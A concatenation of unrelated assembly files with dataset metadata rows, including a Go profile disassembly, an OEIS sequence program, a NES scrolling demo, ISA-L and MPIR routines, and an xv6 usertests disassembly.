. . 102ccc1: MOVQ AX, 0(SP)
. . 102ccc5: CALL runtime.doInit(SB)
. . 102ccca: MOVQ runtime.main_init_done(SB), AX ;proc.go:192
. . 102ccd1: MOVQ AX, 0(SP)
. . 102ccd5: CALL runtime.closechan(SB)
. . 102ccda: MOVB $0x0, 0x27(SP) ;proc.go:194
. . 102ccdf: CALL runtime.unlockOSThread(SB) ;proc.go:195
. . 102cce4: CMPB $0x0, runtime.isarchive(SB) ;proc.go:197
. . 102cceb: JNE 0x102cd8a
. . 102ccf1: CMPB $0x0, runtime.islibrary(SB)
. . 102ccf8: JNE 0x102cd8a
. . 102ccfe: MOVQ go.func.*+966(SB), AX ;proc.go:203
. . 102cd05: LEAQ go.func.*+966(SB), DX
. 2.70s 102cd0c: CALL AX ;runtime.main proc.go:203
. . 102cd0e: MOVL runtime.runningPanicDefers(SB), AX ;proc.go:212
. . 102cd14: TESTL AX, AX
. . 102cd16: JE 0x102cd4c
. . 102cd18: XORL AX, AX
. . 102cd1a: JMP 0x102cd3a ;proc.go:214
. . 102cd1c: MOVQ AX, 0x28(SP)
. . 102cd21: NOPL ;proc.go:218
. . 102cd22: LEAQ go.func.*+894(SB), AX ;proc.go:269
. . 102cd29: MOVQ AX, 0(SP)
. . 102cd2d: CALL runtime.mcall(SB)
. . 102cd32: MOVQ 0x28(SP), AX ;proc.go:214
. . 102cd37: INCQ AX
. . 102cd3a: CMPQ $0x3e8, AX
. . 102cd40: JGE 0x102cd4c
. . 102cd42: MOVL runtime.runningPanicDefers(SB), CX ;proc.go:215
. . 102cd48: TESTL CX, CX
. . 102cd4a: JNE 0x102cd1c
. . 102cd4c: MOVL runtime.panicking(SB), AX ;proc.go:221
. . 102cd52: TESTL AX, AX
. . 102cd54: JNE 0x102cd6c
. . 102cd56: MOVL $0x0, 0(SP) ;proc.go:225
. . 102cd5d: CALL runtime.exit(SB)
. . 102cd62: XORL AX, AX ;proc.go:228
. . 102cd64: MOVL $0x0, 0(AX)
. . 102cd6a: JMP 0x102cd62
. . 102cd6c: XORPS X0, X0 ;proc.go:222
. . 102cd6f: MOVUPS X0, 0(SP)
. . 102cd73: MOVW $0x1008, 0x10(SP)
. . 102cd7a: MOVQ $0x1, 0x18(SP)
. . 102cd83: CALL runtime.gopark(SB)
. . 102cd88: JMP 0x102cd56
. . 102cd8a: NOPL ;proc.go:200
. . 102cd8b: CALL runtime.deferreturn(SB)
. . 102cd90: MOVQ 0x70(SP), BP
. . 102cd95: ADDQ $0x78, SP
. . 102cd99: RET
. . 102cd9a: LEAQ go.func.*+1510(SB), AX ;proc.go:1868
. . 102cda1: MOVQ AX, 0(SP)
. . 102cda5: MOVQ $0x0, 0x8(SP)
. . 102cdae: CALL runtime.newm(SB)
. . 102cdb3: JMP 0x102cca1 ;proc.go:186
. . 102cdb8: LEAQ runtime.main_init_done(SB), DI ;proc.go:168
. . 102cdbf: CALL runtime.gcWriteBarrier(SB)
. . 102cdc4: JMP 0x102cc43
. . 102cdc9: NOPL ;proc.go:157
. . 102cdca: CALL runtime.deferreturn(SB)
. . 102cdcf: MOVQ 0x70(SP), BP
. . 102cdd4: ADDQ $0x78, SP
. . 102cdd8: RET
. . 102cdd9: LEAQ go.string.*+25234(SB), AX ;proc.go:182
. . 102cde0: MOVQ AX, 0(SP)
. . 102cde4: MOVQ $0x25, 0x8(SP)
. . 102cded: CALL runtime.throw(SB)
. . 102cdf2: LEAQ go.string.*+11890(SB), AX ;proc.go:178
. . 102cdf9: MOVQ AX, 0(SP)
. . 102cdfd: MOVQ $0x15, 0x8(SP)
. . 102ce06: CALL runtime.throw(SB)
. . 102ce0b: LEAQ go.string.*+9845(SB), AX ;proc.go:175
. . 102ce12: MOVQ AX, 0(SP)
. . 102ce16: MOVQ $0x13, 0x8(SP)
. . 102ce1f: CALL runtime.throw(SB)
. . 102ce24: LEAQ go.string.*+15022(SB), AX ;proc.go:171
. . 102ce2b: MOVQ AX, 0(SP)
. . 102ce2f: MOVQ $0x19, 0x8(SP)
. . 102ce38: CALL runtime.throw(SB)
. . 102ce3d: LEAQ go.string.*+13866(SB), AX ;proc.go:152
. . 102ce44: MOVQ AX, 0(SP)
. . 102ce48: MOVQ $0x17, 0x8(SP)
. . 102ce51: CALL runtime.throw(SB)
. . 102ce56: LEAQ go.string.*+12985(SB), AX ;proc.go:147
. . 102ce5d: MOVQ AX, 0(SP)
. . 102ce61: MOVQ $0x16, 0x8(SP)
. . 102ce6a: CALL runtime.throw(SB)
. . 102ce6f: NOPL
. . 102ce70: CALL runtime.morestack_noctxt(SB) ;proc.go:113
. . 102ce75: JMP runtime.main(SB)
. . 102ce7a: INT $0x3
. . 102ce7b: INT $0x3
. . 102ce7c: INT $0x3
. . 102ce7d: INT $0x3
. . 102ce7e: INT $0x3
| 60.338937 | 187 | 0.368598 | [
"Apache-2.0"
] | erichgess/wordladder | profiles/print-index-stats/2020-01-20_09-21-39/cpu.asm | 132,806 | Assembly |
; A165850: Totally multiplicative sequence with a(p) = 29.
; 1,29,29,841,29,841,29,24389,841,841,29,24389,29,841,841,707281,29,24389,29,24389,841,841,29,707281,841,841,24389,24389,29,24389,29,20511149,841,841,841,707281,29,841,841,707281,29,24389,29,24389,24389,841,29,20511149,841,24389,841,24389,29,707281,841,707281,841,841,29,707281,29,841,24389,594823321,841,24389,29,24389,841,24389,29,20511149,29,841,24389,24389,841,24389,29,20511149,707281,841,29,707281,841,841,841,707281,29,707281,841,24389,841,841,841,594823321,29,24389,24389,707281
seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
mov $1,29
pow $1,$0
mov $0,$1
| 85.75 | 486 | 0.768222 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/165/A165850.asm | 686 | Assembly |
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; Std
;TEST_BEGIN_RECORDING
std
;TEST_END_RECORDING
| 14.181818 | 25 | 0.762821 | [
"BSD-3-Clause"
] | 0xDEC0DE8/mcsema | mc-sema/validator/x86_64/tests/STD.asm | 156 | Assembly |
; A271358: a(n) = k*Fibonacci(2*n+1) + (k+1)*Fibonacci(2*n), where k=4.
; 4,13,35,92,241,631,1652,4325,11323,29644,77609,203183,531940,1392637,3645971,9545276,24989857,65424295,171283028,448424789,1173991339,3073549228,8046656345,21066419807,55152603076,144391389421,378021565187,989673306140,2590998353233,6783321753559,17758966907444,46493578968773,121721769998875,318671731027852,834293423084681,2184208538226191,5718332191593892
mov $1,4
mov $2,5
lpb $0
sub $0,1
add $2,$1
add $1,$2
lpe
| 45.272727 | 360 | 0.795181 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/271/A271358.asm | 498 | Assembly |
; 縦スクロールサンプル
; INESヘッダー
.inesprg 1 ; - プログラムにいくつのバンクを使うか。今は1つ。
.ineschr 1 ; - グラフィックデータにいくつのバンクを使うか。今は1つ。
.inesmir 0 ; - VRAMのミラーリングを水平にする。
.inesmap 0 ; - マッパー。0番にする。
; ゼロページ変数
Scroll_Y = $00 ; Yスクロール値
Road_X = $01 ; 道路のX座標
Road_YL = $02 ; 道路のY座標アドレス(下位)
Road_YH = $03 ; 道路のY座標アドレス(上位)
Road_Cnt = $04 ; 道路更新待ちカウンター
Course_Index=$05 ; コーステーブルインデックス
Course_Dir= $06 ; コース方向(0:直進1:左折2:右折)
Course_Cnt = $07 ; コース方向継続カウンター
Crash_YH = $08 ; 衝突Y座標アドレス(上位)
Crash_YL = $09 ; 衝突Y座標アドレス(下位)
NameTblNum = $0A ; ネームテーブル選択番号(0=$2000,1=$2800)
.bank 1 ; バンク1
.org $FFFA ; $FFFAから開始
.dw mainLoop ; VBlank割り込みハンドラ(1/60秒毎にmainLoopがコールされる)
.dw Start ; リセット割り込み。起動時とリセットでStartに飛ぶ
.dw IRQ ; ハードウェア割り込みとソフトウェア割り込みによって発生
.bank 0 ; バンク0
.org $0300 ; $0300から開始、スプライトDMAデータ配置
Sprite1_Y: .db 0 ; スプライト#1 Y座標
Sprite1_T: .db 0 ; スプライト#1 ナンバー
Sprite1_S: .db 0 ; スプライト#1 属性
Sprite1_X: .db 0 ; スプライト#1 X座標
Sprite2_Y: .db 0 ; スプライト#2 Y座標
Sprite2_T: .db 0 ; スプライト#2 ナンバー
Sprite2_S: .db 0 ; スプライト#2 属性
Sprite2_X: .db 0 ; スプライト#2 X座標
.org $8000 ; $8000から開始
Start:
sei ; 割り込み不許可
cld ; デシマルモードフラグクリア
ldx #$ff
txs ; スタックポインタ初期化
; PPUコントロールレジスタ1初期化
lda #%00001000 ; ここではVBlank割り込み禁止
sta $2000
waitVSync:
lda $2002 ; VBlankが発生すると、$2002の7ビット目が1になる
bpl waitVSync ; bit7が0の間は、waitVSyncラベルの位置に飛んでループして待ち続ける
; PPUコントロールレジスタ2初期化
lda #%00000110 ; 初期化中はスプライトとBGを表示OFFにする
sta $2001
; パレットをロード
ldx #$00 ; Xレジスタクリア
; VRAMアドレスレジスタの$2006に、パレットのロード先のアドレス$3F00を指定する。
lda #$3F
sta $2006
lda #$00
sta $2006
loadPal: ; ラベルは、「ラベル名+:」の形式で記述
lda tilepal, x ; Aに(ourpal + x)番地のパレットをロードする
sta $2007 ; $2007にパレットの値を読み込む
inx ; Xレジスタに値を1加算している
cpx #32 ; Xを32(10進数。BGとスプライトのパレットの総数)と比較して同じかどうか比較している
bne loadPal ; 上が等しくない場合は、loadpalラベルの位置にジャンプする
; Xが32ならパレットロード終了
; 属性(BGのパレット指定データ)をロード
lda #0
sta <NameTblNum
; $23C0,2BC0の属性テーブルにロードする
lda #$23
sta $2006
lda #$C0
sta $2006
jmp loadAttribSub
loadAttrib:
lda #1
sta <NameTblNum
lda #$2B
sta $2006
lda #$C0
sta $2006
loadAttribSub:
ldx #$00 ; Xレジスタクリア
lda #%00000000 ; 4つともパレット0番
; 0番にする
.loadAttribSub2
sta $2007 ; $2007に属性の値($0)を読み込む
; 64回(全キャラクター分)ループする
inx
cpx #64
bne .loadAttribSub2
lda <NameTblNum
beq loadAttrib
; ネームテーブル生成
lda #0
sta <NameTblNum
; ネームテーブルの$2000から生成する
lda #$20
sta $2006
lda #$00
sta $2006
jmp loadNametableSub
; ネームテーブルの$2800から生成する
loadNametable:
lda #1
sta <NameTblNum
lda #$28
sta $2006
lda #$00
sta $2006
loadNametableSub:
ldy #0
lda #11 ; 道路の初期X座標=11
sta <Road_X
.loadNametableSub2
jsr writeCourse
iny
cpy #30 ; 30回繰り返す
bne .loadNametableSub2
lda <NameTblNum
beq loadNametable
; スプライトDMA領域初期化(0と1以外は全て奥にする)
lda #%00100000
ldx #$00
initSpriteDMA:
sta $0300, x
inx
bne initSpriteDMA
lda #0
sta Sprite1_T
sta Sprite1_S
sta Sprite2_T
; 1番目のスプライト座標初期化
lda X_Pos_Init
sta Sprite1_X
lda Y_Pos_Init
sta Sprite1_Y
; 2番目のスプライト座標更新サブルーチンをコール
jsr setSprite2
; 2番目のスプライトを水平反転
lda #%01000000
sta Sprite2_S
; ゼロページ初期化
lda #$00
ldx #$00
initZeroPage:
sta <$00, x
inx
bne initZeroPage
lda #$23 ; 道路のY座標アドレス初期化($23C0)
sta <Road_YH
lda #$C0
sta <Road_YL
lda #11 ; 道路の初期X座標=11
sta <Road_X
; PPUコントロールレジスタ2初期化
lda #%00011110 ; スプライトとBGの表示をONにする
sta $2001
; PPUコントロールレジスタ1の割り込み許可フラグを立てる
lda #%10001010
sta $2000
infinityLoop: ; VBlank割り込み発生を待つだけの無限ループ
jmp infinityLoop
mainLoop: ; メインループ
calcCourse:
; 道路描画判定(4周に1度、画面外に道路を描画する)
inc <Road_Cnt ; カウンタ増加
lda <Road_Cnt
cmp #4
bne scrollBG ; 4でないならまだ道路を描画しない
lda #0
sta <Road_Cnt
; 道路Y座標アドレス計算
lda <Road_YL
sec ; sbcの前にキャリーフラグをセット
sbc #32 ; 道路のY座標アドレス(下位)に32減算
sta <Road_YL
bcs setCourse ; 桁下がりしてなければsetCourseへ
lda <Road_YH
cmp #$20 ; Y座標アドレス(上位)が$20まで下がったか?
bne .calcCourseSub
; ネームテーブル選択番号を更新
lda <NameTblNum
eor #1
sta <NameTblNum
lda #$23 ; 道路のY座標アドレス初期化($23C0)
sta <Road_YH
lda #$C0
sta <Road_YL
lda #03 ; 次回更新するために、カウンタは4-1=3
sta <Road_Cnt
jmp scrollBG ; 今回は更新しない
.calcCourseSub
dec <Road_YH ; Y座標アドレスの上位は$23→$22→$21→$20→$23...
setCourse:
; ネームテーブルのRoad_YH*$100+Road_YHに道路を1ライン描画する
lda <Road_YH ; 上位アドレス
ldx <NameTblNum
beq .setCourseSub ; NameTblNumが0ならば$2000から更新する
clc ; adcの前にキャリーフラグをクリア
adc #8 ; NameTblNumが1ならば$2800から更新する
.setCourseSub
sta $2006
lda <Road_YL ; 下位アドレス
sta $2006
jsr writeCourse
; 衝突判定
jsr isCrash
scrollBG:
; BGスクロール
lda $2002 ; スクロール値クリア
lda #0
sta $2005 ; X方向は固定
lda <Scroll_Y
sta $2005 ; Y方向スクロール
dec <Scroll_Y ; スクロール値を減算
dec <Scroll_Y ; スクロール値を減算
cmp #254 ; 254になった?
bne sendSprite
lda #238 ; 16ドットスキップして238にする
sta <Scroll_Y
sendSprite:
; スプライト描画(DMAを利用)
lda #$3 ; スプライトデータは$0300番地からなので、3をロードする。
sta $4014 ; スプライトDMAレジスタにAをストアして、スプライトデータをDMA転送する
; コース設定
jsr goCourse
; 表示するネームテーブル番号(bit1~0)をセットする
lda #%10001000
ldx <NameTblNum
bne setNameTblNum
ora #2 ; (%10001010)ネームテーブル2番を表示する
setNameTblNum:
sta $2000
getPad:
; パッドI/Oレジスタの準備
lda #$01
sta $4016
lda #$00
sta $4016
; パッド入力チェック
lda $4016 ; Aボタン
lda $4016 ; Bボタン
lda $4016 ; Selectボタンをスキップ
lda $4016 ; Startボタンをスキップ
lda $4016 ; 上ボタン
lda $4016 ; 下ボタン
lda $4016 ; 左ボタン
and #1 ; AND #1
bne LEFTKEYdown ; 0でないならば押されてるのでLEFTKeydownへジャンプ
lda $4016 ; 右ボタン
and #1 ; AND #1
bne RIGHTKEYdown ; 0でないならば押されてるのでRIGHTKeydownへジャンプ
jmp NOTHINGdown ; なにも押されていないならばNOTHINGdownへ
LEFTKEYdown:
dec Sprite1_X ; X座標を1減算
jmp NOTHINGdown
RIGHTKEYdown:
inc Sprite1_X ; X座標を1加算
; この後NOTHINGdownなのでジャンプする必要無し
NOTHINGdown:
; 2番目のスプライト座標更新サブルーチンをコール
jsr setSprite2
; サウンド待ちカウンタA~D(ゼロページで連続した領域という前提)をそれぞれ-1減算する
NMIEnd:
rti ; 割り込みから復帰
setSprite2:
; 2番目のスプライトの座標更新サブルーチン
clc ; adcの前にキャリーフラグをクリア
lda Sprite1_X
adc #8 ; 8ドット右にずらす
sta Sprite2_X
lda Sprite1_Y
sta Sprite2_Y
rts
; 衝突判定
; 道路のY座標アドレスを利用する
isCrash:
ldy #0 ; 桁下がりフラグ0
lda <Road_YL ; 下位アドレス
sec ; sbcの前にキャリーフラグをセット
sbc #$C0 ; 道路のY座標アドレス(下位)に$C0減算
sta <Crash_YL
bcs .isCrashSub2 ; 桁下がりしてなければisCrashSub2へ
lda <Road_YH
sta <Crash_YH
cmp #$20 ; Y座標アドレス(上位)が$20まで下がったか?
bne .isCrashSub
ldy #1 ; 桁下がりフラグ1
lda #$24 ; 道路のY座標アドレス初期化($24→$23)
sta <Crash_YH
lda <Crash_YL
sec ; sbcの前にキャリーフラグをセット
sbc #$40 ; 道路のY座標アドレス(下位)に$40減算
sta <Crash_YL
.isCrashSub
dec <Crash_YH ; Y座標アドレス(上位)減算
.isCrashSub2
lda <Crash_YH ; 上位アドレス
; 桁下がりの場合は、もう片方のネームテーブルをチェックする
ldx <NameTblNum ; XにNameTblNumをロード
cpy #1 ; 桁下がりフラグが1か?
bne .isCrashSubE
pha ; AをスタックにPUSH(上位アドレスを退避)
txa ; X→A
eor #1 ; NameTblNumをビット反転
tax ; A→X
pla ; AにスタックからPULL(上位アドレスを復帰)
.isCrashSubE:
cpx #0
beq .isCrashSub3 ; NameTblNumが0ならばネームテーブル$2000からチェックする
clc ; adcの前にキャリーフラグをクリア
adc #8 ; NameTblNumが1ならばネームテーブル$2800からチェックする
.isCrashSub3
sta $2006
lda Sprite2_X ; スプライトの中央座標をロード
lsr a ; 右シフト3回で1/8
lsr a
lsr a
clc
adc <Crash_YL ; Y座標アドレス(下位)に加算
sta $2006
lda $2007 ; Aにスプライト中心座標付近のBGを取得
beq .isCrashEnd ; BG0番ならば道路なのでOK
; 衝突したので赤くする
; スプライトのパレット1番
lda #1
sta Sprite1_S
lda #%01000001
sta Sprite2_S
rts
.isCrashEnd
; スプライトのパレット0番
lda #0
sta Sprite1_S
lda #%01000000
sta Sprite2_S
rts
; コースを進める
goCourse:
lda <Road_Cnt
beq .goCourseSub ; 待ち中なら更新しない
rts
.goCourseSub
lda <Course_Cnt
bne .goCourseSub2 ; まだカウント中
ldx <Course_Index
lda Course_Tbl, x ; Courseテーブルの値をAに読み込む
pha ; AをPUSH
and #$3 ; bit0~1を取得
sta <Course_Dir ; コース方向に格納
pla ; AをPULLして戻す
lsr a ; 左2シフトしてbit2~7を取得
lsr a
sta <Course_Cnt ; コースカウンターに格納
inc <Course_Index
lda <Course_Index
cmp #10 ; コーステーブル10回分ループする
bne .goCourseSub2
lda #0 ; インデックスを0に戻す
sta <Course_Index
.goCourseSub2
lda <Course_Dir
bne .goCourseLeft ; 0(直進)か?
jmp .goCourseEnd
.goCourseLeft
cmp #$01 ; 1(左折)か?
bne .goCourseRight
dec <Road_X ; 道路X座標減算
jmp .goCourseEnd
.goCourseRight
inc <Road_X ; 2(右折)なので道路X座標加算
.goCourseEnd
dec <Course_Cnt
rts
; BGに道路を1ライン描画する
writeCourse:
; 左側の野原を描画
ldx <Road_X
lda #$01 ; 左側の野原
.writeLeftField
sta $2007 ; $2007に書き込む
dex
cpx #1
bne .writeLeftField
; 左側の路肩を描画
lda <Course_Dir
bne .writeLeftLeft ; 0(直進)か?
lda #$02 ; 左側の路肩(直進)
jmp .writeLeftEnd
.writeLeftLeft
cmp #$01 ; 1(左折)か?
bne .writeLeftRight
sta $2007 ; Road_Xが-1されてるので野原を1キャラ多く書き込む
lda #$04 ; 左側の路肩(左折)
jmp .writeLeftEnd
.writeLeftRight
lda #$06 ; 左側の路肩(右折)
.writeLeftEnd
sta $2007 ; $2007に書き込む
; 中央の道路を描画
ldx #9 ; 道幅=10だがここでは9
lda #$00 ; 道路
.writeRoad
sta $2007 ; $2007に書き込む
dex
bne .writeRoad
; 右側の路肩を描画
ldx <Course_Dir
bne .writeRightLeft ; 0(直進)か?
sta $2007 ; 書いた道路は9なので野原を1キャラ多く書き込む
lda #$03 ; 右側の路肩(直進)
jmp .writeRightEnd
.writeRightLeft
cpx #$01 ; 1(左折)か?
bne .writeRightRight
lda #$05 ; 右側の路肩(左折)
jmp .writeRightEnd
.writeRightRight
lda #$07 ; 右側の路肩(右折)
.writeRightEnd
sta $2007 ; $2007に書き込む
; 右側の野原を描画
lda #31
sec ; sbcの前にキャリーフラグをセット
sbc <Road_X ; 道路のX座標を引く
sec ; sbcの前にキャリーフラグをセット
sbc #10 ; 道幅を引く
tax
lda #$01 ; 右側の野原
.writeRightField
sta $2007 ; $2007に書き込む
dex
bne .writeRightField
rts
IRQ:
rti
; 初期データ
X_Pos_Init .db 120 ; X座標初期値
Y_Pos_Init .db 200 ; Y座標初期値
; コースデータ(10個・bit0~1=方向・bit2~7カウンタ)
; (直進=0,左折=1,右折=2)
Course_Tbl .db $21,$40,$32,$20,$21,$22,$20,$21,$12,$30
tilepal: .incbin "giko4.pal" ; パレットをincludeする
.bank 2 ; バンク2
.org $0000 ; $0000から開始
.incbin "giko4.bkg" ; 背景データのバイナリィファイルをincludeする
.incbin "giko2.spr" ; スプライトデータのバイナリィファイルをincludeする | 19.651575 | 58 | 0.661324 | [
"MIT",
"Unlicense"
] | bokuweb/flownes | static/roms/giko016.asm | 14,825 | Assembly |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2018 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "reg_sizes.asm"
%include "multibinary.asm"
default rel
[bits 64]
extern mem_zero_detect_avx512
extern mem_zero_detect_avx2
extern mem_zero_detect_avx
extern mem_zero_detect_sse
extern mem_zero_detect_base
mbin_interface isal_zero_detect
mbin_dispatch_init6 isal_zero_detect, mem_zero_detect_base, mem_zero_detect_sse, mem_zero_detect_avx, mem_zero_detect_avx2, mem_zero_detect_avx512
| 47.311111 | 146 | 0.735557 | [
"BSD-3-Clause"
] | 01org/isa-l | mem/mem_multibinary.asm | 2,129 | Assembly |
;Calculate the sum of series of numbers. The length of series is in memory location 2200H and the series itself begns from memory location 2201H
;Assume the sum to be 8 bit numberso you can ignore carries. Store the sum at memory location 2300H.
LDA 2200H
MOV C,A ;initialize the counter
SUB A ;sum=0
LXI H,2201H ;initalize pointer
BACK: ADD M ;SUM = SUM +data
INX H ;Increment pointer
DCR C ;decrement poniter
JNZ BACK ;if Counter not = 0 repeat
STA 2300H ;store sum
HLT ;terminate program execution | 37.071429 | 144 | 0.753372 | [
"MIT",
"Unlicense"
] | trivedi-vatsal/8085-programs | Programs/Program14.asm | 519 | Assembly |
; PROLOGUE(mpn_divexact_1)
; Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc.
;
; Copyright 2008 Brian Gladman
;
; This file is part of the MPIR Library.
;
; The MPIR Library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public License as
; published by the Free Software Foundation; either version 2.1 of the
; License, or (at your option) any later version.
;
; The MPIR Library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with the MPIR Library; see the file COPYING.LIB. If
; not, write to the Free Software Foundation, Inc., 51 Franklin Street,
; Fifth Floor, Boston, MA 02110-1301, USA.
;
; since the inverse takes a while to setup,plain division is used for small
; Multiplying works out faster for size>=3 when the divisor is odd or size>=4
; when the divisor is even.
;
; void mpn_divexact_1(mp_ptr, mp_ptr, mp_size_t, mp_limb_t)
; rdi rsi rdx rcx
; rcx rdx r8 r9
%include "yasm_mac.inc"
%define reg_save_list rsi, rdi
BITS 64
extern __gmp_modlimb_invert_table
LEAF_PROC mpn_divexact_1
mov r10, rdx
mov rax, r9
and rax, byte 1
add rax, r8
cmp rax, byte 4
jae .2
xor rdx,rdx
.1: mov rax, [r10+r8*8-8]
div r9
mov [rcx+r8*8-8], rax
sub r8, 1
jnz .1
ret ; avoid single byte return
.2: FRAME_PROC ?mpn_divexact, 0, reg_save_list
mov rsi, rdx ; src pointer
mov rdi, rcx ; dst pointer
bsf rcx, r9 ; remove powers of two
shr r9, cl
mov rax, r9
shr rax, 1
and rax, 127
lea rdx, [rel __gmp_modlimb_invert_table]
movzx rax, byte [rdx+rax]
; If f(x) = 0, then x[n+1] = x[n] - f(x) / f'(x) is Newton's iteration for a
; root. With f(x) = 1/x - v we obtain x[n + 1] = 2 * x[n] - v * x[n] * x[n]
; as an iteration for x = 1 / v. This provides quadratic convergence so
; that the number of bits of precision doubles on each iteration. The
; iteration starts with 8-bit precision.
lea edx, [rax+rax]
imul eax, eax
imul eax, r9d
sub edx, eax ; inv -> rdx (16-bit approx)
lea eax, [rdx+rdx]
imul edx, edx
imul edx, r9d
sub eax, edx ; inv -> rdx (32-bit approx)
lea rdx, [rax+rax]
imul rax, rax
imul rax, r9
sub rdx, rax ; inv -> rdx (64-bit approx)
lea rsi, [rsi+r8*8]
lea rdi, [rdi+r8*8]
neg r8
mov r10, rdx ; inverse multiplier -> r10
xor r11, r11
mov rax, [rsi+r8*8]
or rcx, rcx
mov rdx, [rsi+r8*8+8]
jz .4 ; if divisor is odd
shrd rax, rdx, cl
add r8, 1
jmp .6
xalign 16
.3: mul r9 ; divisor is odd
mov rax, [rsi+r8*8]
sub rdx, r11
sub rax, rdx
sbb r11, r11
.4: imul rax, r10
mov [rdi+r8*8], rax
add r8, 1
jnz .3
jmp .7
xalign 16
.5: mul r9 ; divisor is even
sub rdx, r11
mov rax, [rsi+r8*8-8]
mov r11, [rsi+r8*8]
shrd rax, r11, cl
sub rax, rdx
sbb r11, r11
.6: imul rax, r10
mov [rdi+r8*8-8],rax
add r8, 1
jnz .5
mul r9
mov rax, [rsi-8]
sub rdx, r11
shr rax, cl
sub rax, rdx
imul rax, r10
mov [rdi-8], rax
.7: END_PROC reg_save_list
end
| 29.081481 | 77 | 0.554763 | [
"Apache-2.0"
] | CrypToolProject/CrypTool-2 | LibSource/mpir/mpn/x86_64w/divexact_1.asm | 3,926 | Assembly |
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <opentest>:
// simple file system tests
void
opentest(void)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
int fd;
printf(stdout, "open test\n");
6: a1 b4 5e 00 00 mov 0x5eb4,%eax
b: c7 44 24 04 76 41 00 movl $0x4176,0x4(%esp)
12: 00
13: 89 04 24 mov %eax,(%esp)
16: e8 7d 3d 00 00 call 3d98 <printf>
fd = open("echo", 0);
1b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
22: 00
23: c7 04 24 60 41 00 00 movl $0x4160,(%esp)
2a: e8 19 3c 00 00 call 3c48 <open>
2f: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
32: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
36: 79 1a jns 52 <opentest+0x52>
printf(stdout, "open echo failed!\n");
38: a1 b4 5e 00 00 mov 0x5eb4,%eax
3d: c7 44 24 04 81 41 00 movl $0x4181,0x4(%esp)
44: 00
45: 89 04 24 mov %eax,(%esp)
48: e8 4b 3d 00 00 call 3d98 <printf>
exit();
4d: e8 b6 3b 00 00 call 3c08 <exit>
}
close(fd);
52: 8b 45 f4 mov -0xc(%ebp),%eax
55: 89 04 24 mov %eax,(%esp)
58: e8 d3 3b 00 00 call 3c30 <close>
fd = open("doesnotexist", 0);
5d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
64: 00
65: c7 04 24 94 41 00 00 movl $0x4194,(%esp)
6c: e8 d7 3b 00 00 call 3c48 <open>
71: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
74: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
78: 78 1a js 94 <opentest+0x94>
printf(stdout, "open doesnotexist succeeded!\n");
7a: a1 b4 5e 00 00 mov 0x5eb4,%eax
7f: c7 44 24 04 a1 41 00 movl $0x41a1,0x4(%esp)
86: 00
87: 89 04 24 mov %eax,(%esp)
8a: e8 09 3d 00 00 call 3d98 <printf>
exit();
8f: e8 74 3b 00 00 call 3c08 <exit>
}
printf(stdout, "open test ok\n");
94: a1 b4 5e 00 00 mov 0x5eb4,%eax
99: c7 44 24 04 bf 41 00 movl $0x41bf,0x4(%esp)
a0: 00
a1: 89 04 24 mov %eax,(%esp)
a4: e8 ef 3c 00 00 call 3d98 <printf>
}
a9: c9 leave
aa: c3 ret
000000ab <writetest>:
void
writetest(void)
{
ab: 55 push %ebp
ac: 89 e5 mov %esp,%ebp
ae: 83 ec 28 sub $0x28,%esp
int fd;
int i;
printf(stdout, "small file test\n");
b1: a1 b4 5e 00 00 mov 0x5eb4,%eax
b6: c7 44 24 04 cd 41 00 movl $0x41cd,0x4(%esp)
bd: 00
be: 89 04 24 mov %eax,(%esp)
c1: e8 d2 3c 00 00 call 3d98 <printf>
fd = open("small", O_CREATE|O_RDWR);
c6: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
cd: 00
ce: c7 04 24 de 41 00 00 movl $0x41de,(%esp)
